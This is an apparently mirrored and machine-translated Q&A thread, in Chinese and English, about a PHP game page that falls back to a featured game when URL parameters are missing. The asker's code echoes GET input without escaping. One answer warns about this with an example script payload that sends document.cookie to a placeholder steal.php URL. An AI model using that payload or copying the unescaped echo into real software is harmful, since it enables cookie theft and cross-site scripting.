简体   繁体   English

PHP:设置变量以获取价值

[英]PHP: Set Variable to Get Value

I am creating a game web site using PHP and I want to just use one page for the game rather than have a bunch. 我正在使用PHP创建一个游戏网站,我想只使用一个页面进行游戏而不是一堆。 I want to have the info entered like this: 我希望输入的信息如下:

`?swf=[path to .swf]&name=[name of game]&description=[Description of Game]&instruction=[Instructions for game]`` `?swf = [到.swf的路径]&name = [游戏名称]&description = [游戏描述]&instruction = [游戏说明]``

The problem is that if there is no data entered in the URL it returns a black page. 问题是如果URL中没有输入数据,则返回黑页。 I want to use the if...else to display a featured game if nothing is in the URL. 如果URL中没有任何内容,我想使用if ... else来显示特色游戏。 The code I have right now is: 我现在的代码是:

<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>

<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>

<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>

<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>

Can anyone offer any suggestions on ways to accomplish this? 任何人都可以就如何实现这一目标提出任何建议?

I'm not sure what the if ($name=="*") does, but I would use 我不确定if($ name ==“*”)是做什么的,但我会用

if(isset($_GET['name']))

instead, to check if the name was passed to the url. 相反,检查名称是否传递给网址。

I assume with $_GET['name'] == "*" you are mixing up something. 我假设$_GET['name'] == "*"你混淆了一些东西。 In that context it is just a string comparison. 在这种情况下,它只是一个字符串比较。 * is not a wildcard that matches anything like in SQL. *不是匹配SQL中的任何通配符。 If you want to check if there is something in $_GET['name'] , you could use empty or isset . 如果你想检查$_GET['name']是否有东西,你可以使用emptyisset

In addition, I suggest you just check for name , because all your params conceptually belong to game. 另外,我建议你只检查name ,因为你的所有参数在概念上都属于游戏。 If there is no name , there will be no description and no instructions . 如果没有name ,将没有description也没有instructions

But whatever you do, be sure to sanitize the params you are going to output, otherwise someone will supply this or something similar for name sooner or later: 但无论你做什么,一定要清理你要输出的参数,否则有人迟早会提供这个或类似名称的东西:

<script>document.location='http://www.example.com/steal.php?'+document.cookie</script> 
if(empty($_GET['swf']) and empty($_GET['name']) and empty($_GET['description']) and empty($_GET['instruction']){
/// code here
}else{
/// and here
}

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM